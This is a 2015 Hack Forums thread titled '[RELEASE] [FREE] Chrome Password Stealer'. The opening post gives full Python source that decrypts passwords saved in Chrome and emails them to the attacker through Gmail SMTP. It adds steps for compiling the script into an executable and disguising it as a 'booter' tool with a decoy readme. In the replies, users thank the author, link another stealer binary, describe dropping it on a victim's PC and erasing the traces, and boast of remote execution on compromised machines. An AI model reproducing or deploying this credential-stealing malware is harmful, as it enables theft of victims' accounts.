Hack Forums
[RELEASE] [FREE] Chrome Password Stealer - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Hacking Tools and Programs (https://hackforums.net/forumdisplay.php?fid=10)
+---- Thread: [RELEASE] [FREE] Chrome Password Stealer (/showthread.php?tid=4877533)

Pages: Pages 1 2 3 4


[RELEASE] [FREE] Chrome Password Stealer - @beef - Jun 23, 2015

I completed my chrome password stealer a few days ago and posted the source in the python section but didn't say how to use it. Usually you'd have to pay for this type of program so a thank you is nice. I'll put the source here and you can follow the steps to use it.

Step 1: Download Python 2.7 ,the compiler py2exe and the module win32. Download the readme.txt to see what one you need to download on the win32 website..

Step 2: Now open Python 2.7 after you've installed it. It should come up with "Python Shell". Now go to the top left corner and click New Window. Paste this code in.

Code
from os import getenv
import sqlite3
import win32crypt

import sys
f = open("passwords.txt", "w")

# Connect to the Database
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
# Get the results
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
  # Decrypt the Password
    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
    if password:

        print >>f,  'Site: ' + result[0]
        print >>f,  'Username: ' + result[1]
        print >>f,  'Password: ' + password

f.close()

#Note: End of password decrypting

#Note: Start emailing

import smtplib
import mimetypes
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import os

#Note: Your Email Account
emailfrom = "user"
emailto = "user"
fileToSend = "passwords.txt"      
user = "user"
password = "pass"

#Note: Email Subject Ect.

msg = MIMEMultipart()
msg["From"] = emailfrom
msg["To"] = emailto
msg["Subject"] = "Passwords ;^)"
msg.preamble = "Passwords yay! :)"

ctype, encoding = mimetypes.guess_type(fileToSend)
if ctype is None or encoding is not None:
    ctype = "application/octet-stream"

maintype, subtype = ctype.split("/", 1)

if maintype == "text":
    fp = open(fileToSend)
    # Note: we should handle calculating the charset
    attachment = MIMEText(fp.read(), _subtype=subtype)
    fp.close()
elif maintype == "image":
    fp = open(fileToSend, "rb")
    attachment = MIMEImage(fp.read(), _subtype=subtype)
    fp.close()

elif maintype == "audio":
    fp = open(fileToSend, "rb")
    attachment = MIMEAudio(fp.read(), _subtype=subtype)
    fp.close()
else:
    fp = open(fileToSend, "rb")
    attachment = MIMEBase(maintype, subtype)
    attachment.set_payload(fp.read())
    fp.close()
    encoders.encode_base64(attachment)
attachment.add_header("Content-Disposition", "attachment", filename=fileToSend)
msg.attach(attachment)

server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login(user,password)
server.sendmail(emailfrom, emailto, msg.as_string())
server.quit()

print ("Completed Process")

.

Step 3:Now you need to look for the red text named "#Note:Your email account". You need a gmail account for this. Where it says "user" swap it with your gmail email adddress ([email protected]).
Then add in your password. If you've typed in the wrong password then an error will show up saying that.


Step 4:Now you need to make your gmail account accessible by the script. In the error it should show a link and you click on that link then you can easily select disable. If you're stuck on this part message me on skype. I'll leave my skype below.

Step 5: Last and final step for it to work :) . You must compile it. There's a Tutorial on the py2exe website but you MUST!! put the program and the setup.py into C:\Python27 folder or the tutorial won't work.

Extra:You can add some shit like this to the folder with your booter in to make it more convincing.

Code
Don't delete any of the libraries because they
are necessary for the booters gui. Also if it
doesn't work first time close your browser and
try again because the browser interferes with it.

1. Open the BeeF-Booter.exe

2. Type in "BeeFBooter" as the password

3. Type in the ip,port and time (max time is 300 seconds)

4. Don't spam click anything because it'll make the program crash.

Enjoy ;^)

- BeeF


This program took a while to make and also making this thread so if you could leave a thank you it'd be nice. Also if you're stuck and need help then you can add me on skype and I'll be happy to help :) 🤝


* - Beast.PHP - Jun 23, 2015

Vouch for BeeF! Works like a charm, works fast as well & easy to make! :)
Great job man!


* - @beef - Jun 24, 2015

(Jun 23, 2015 10:11 AM)Beast.PHP Wrote:  Vouch for BeeF! Works like a charm, works fast as well & easy to make! :)
Great job man!

Thanks I'm going to be adding more browsers soon.


* - JershDervis - Jun 24, 2015

Nice job, this could be useful in the future for me, thanks.


* - Captain Cold - Jun 24, 2015

Commenting so I can use this later, thanks for the share man!


* - @beef - Jun 24, 2015

(Jun 24, 2015 07:10 AM)JershDervis Wrote:  Nice job, this could be useful in the future for me, thanks.

You're welcome. Glad to help.

(Jun 24, 2015 07:16 AM)TheTwins510 Wrote:  Commenting so I can use this later, thanks for the share man!

You're welcome too. Anytime


* - Maddo - Jun 24, 2015

Thanks man its working nice and its not that hard to make !


* - Xvad3SpacE - Jun 24, 2015

HQ post, keep posting methods and more vouches coming your way!


* - InfectedCow - Jun 24, 2015

I'm having trouble setting this up, i added you on skype but thanks


* - Mr. Robot - Jun 24, 2015

No offense and not stealing your thread but I personally use this -
http://ge.tt/9MtaG1J2/v/0
Drop it onto someones computer then cd c:\"the directory the passwordsteal is" -o passwords.txt
For exampl;
I would drop the file into c:\users\bob\music\passwords.exe
then run cd c:\users\bob\music
then passwords.exe -o passwords.txt
then copy the passwords.txt over and delete both the exe and txt off their pc

But I love this method and thanks for the great share! this is just to help those who struggle to understand what you are saying!


* - Learner Boy - Jun 24, 2015

Thanks for the share OP.
Much appreciated


* - @beef - Jun 24, 2015

(Jun 24, 2015 09:26 PM)Mr. Robot Wrote:  No offense and not stealing your thread but I personally use this -
http://ge.tt/9MtaG1J2/v/0
Drop it onto someones computer then cd c:\"the directory the passwordsteal is" -o passwords.txt
For exampl;
I would drop the file into c:\users\bob\music\passwords.exe
then run cd c:\users\bob\music
then passwords.exe -o passwords.txt
then copy the passwords.txt over and delete both the exe and txt off their pc

But I love this method and thanks for the great share! this is just to help those who struggle to understand what you are saying!

But then you'd have to do it manually.

(Jun 24, 2015 10:17 PM)Learner Boy Wrote:  Thanks for the share OP.
Much appreciated

You're welcome.


* - Mr. Robot - Jun 24, 2015

Oh yeah I completely understand that - but you can create a batch to remote execute if you would like :)


* - @beef - Jun 25, 2015

(Jun 24, 2015 11:27 PM)Mr. Robot Wrote:  Oh yeah I completely understand that - but you can create a batch to remote execute if you would like :)

But you have to actually be there in person lol... You can't do it remotely.


* - Mr. Robot - Jun 25, 2015

(Jun 25, 2015 06:46 AM)@BeeF Wrote:  But you have to actually be there in person lol... You can't do it remotely.

Since when? I can bulk remote execute and save it to a ftp on hundreds of slaves at a time :s